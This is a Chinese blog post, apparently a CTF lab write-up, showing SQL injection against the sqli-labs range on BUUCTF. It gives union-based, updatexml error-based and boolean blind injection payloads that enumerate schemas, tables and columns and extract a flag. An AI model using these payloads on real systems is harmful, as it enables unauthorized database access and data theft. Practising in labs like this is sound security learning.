sql跨库注入

本文通过靶场sqli-labs的实例,探讨了三种SQL注入方式:联合查询注入、报错查询注入和布尔盲注。在联合查询注入中,展示了如何选择数据库和表格并查询敏感信息;在报错注入中,利用错误信息获取部分flag;而在布尔盲注中,逐步揭示了数据库的长度、名字、表名和列名等关键信息。

靶场:https://buuoj.cn/challenges 的sqli-labs

联合查询注入

L1:首先看有什么数据库

select group_concat(schema_name) from information_schema.schemata

完整url:

http://d63b4dad-c1d6-4e18-98e2-820c070a23b8.node4.buuoj.cn/Less-1/?id=-11' union select 1,2,(
select group_concat(schema_name) from information_schema.schemata
)'

在这里插入图片描述

选择“ctftraining”数据库

http://d63b4dad-c1d6-4e18-98e2-820c070a23b8.node4.buuoj.cn/Less-1/?id=-11' union select 1,2,(
select group_concat(table_name) from information_schema.tables where table_schema="ctftraining"
)'

在这里插入图片描述
选择名为flag的table

http://d63b4dad-c1d6-4e18-98e2-820c070a23b8.node4.buuoj.cn/Less-1/?id=-11' union select 1,2,(
select group_concat(column_name) from information_schema.columns where table_schema="ctftraining" and table_name='flag'
)'

查询内容

?id=-1' union select 1,2,(
select flag from ctftraining.flag
)'

在这里插入图片描述

报错查询注入

采用报错注入步骤是类似的,最后flag显示不全

?id=1111+and+updatexml(1,concat(0x7e,(
select flag from ctftraining.flag
),0x7e),1); --+

在这里插入图片描述

http://d7275205-467b-4f6c-97e6-4669e55b54e9.node4.buuoj.cn/Less-2/?id=1111+and+updatexml(1,concat(0x7e,(
substr((select flag from ctftraining.flag),16)
),0x7e),1); --+

在这里插入图片描述

布尔盲注

先练习下不跨库的
获取长度

?id=1' and length(database())=8 %23

获取数据库名字

?id=1' and left(database(),1)='s' %23

获取表名

?id=1' and left(
(select group_concat(table_name) from information_schema.tables where table_schema=database())
,1)='u' %23

获取列名

 ?id=1' and left(
(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')
,1)='u' %23

获取数据

http://c370bae3-f008-47ee-9890-d14960b1e5ce.node4.buuoj.cn/Less-8/?id=1' and left(
(select group_concat(username) from users)
,1)='u' %23
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值